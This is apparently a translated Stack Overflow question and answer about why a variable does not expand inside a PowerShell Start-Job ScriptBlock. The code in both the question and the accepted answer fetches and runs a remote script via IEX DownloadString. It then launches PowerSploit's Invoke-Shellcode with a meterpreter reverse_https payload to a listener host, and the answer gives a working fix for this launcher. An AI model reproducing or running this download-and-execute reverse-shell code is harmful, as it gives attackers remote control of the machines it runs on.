$foo = @("string.here")
foreach ($num in $foo) {
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
$temp = $args[0]
MyCommandlet -Lhost "$temp"
Write-Host "$temp"
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s -args $num
}
从this修改。 编辑:为了清楚起见,删除了不必要的代码。
MyCommandlet
需要一个变量(在此为-Lhost $temp
),该变量在使用前应进行检查(不应为null或为空)。尝试运行上述脚本时,出现以下错误消息。
编辑:
Invoke-Shellcode
是原始Commandlet,我将其称为MyCommandlet
。出于安全原因,我不想包含完整的代码(以防人们自己运行脚本)。有关更多详细信息,请参见此处的代码https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
原始的ScriptBlock类似于(参见$ temp变量)
{
$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}
本质上,该变量未正确传递给我的
MyCommandlet
,而Write-Host $temp
在相同的上下文中返回非null值(正确)。我知道变量不会传递给其他ScriptBlock,尤其是当它在新作业中运行时,但是因为Write-Host
能够正确读取作业中的值,所以我必须错过其他内容。正如一些帖子所建议的那样,我尝试了以下替代方法:
...} -ArgumentList $temp
(在ScriptBlock之后)http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
{param($temp) ...}
(在ScriptBlock的开头)Start-Job -ScriptBlock {...}
,而不是使用变量ScriptBlock。
[scriptblock]::Create(...)
声明ScriptBlock
Invoke-Command
代替Start-Job
但不只是它也不起作用(尽管工作方式略有不同),我
希望尽可能使用
Start-Job
。 $using:variable
功能。另外,它在我尝试的配置中不起作用。 这些都不对我有用。
最佳答案
我找到了一个有效的解决方案,该解决方案依赖于使用环境变量(例如$env:myvar
)。为了解决上述问题,我使用了这种方式:
$foo = 'string_var'
$env:temp_var = $($foo)
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
#Write-Host $env:temp_var
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s
# Clean-up
Remove-Item env:\temp_var
有关Powershell中环境变量的更多详细信息,请参见https://technet.microsoft.com/en-us/library/ff730964.aspx。
ps :对我来说,上面建议的选项为何不起作用仍然是没有意义的...如果有人有任何解释,将非常欢迎。
关于powershell - ScriptBlock中的参数无法正确扩展,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/33725314/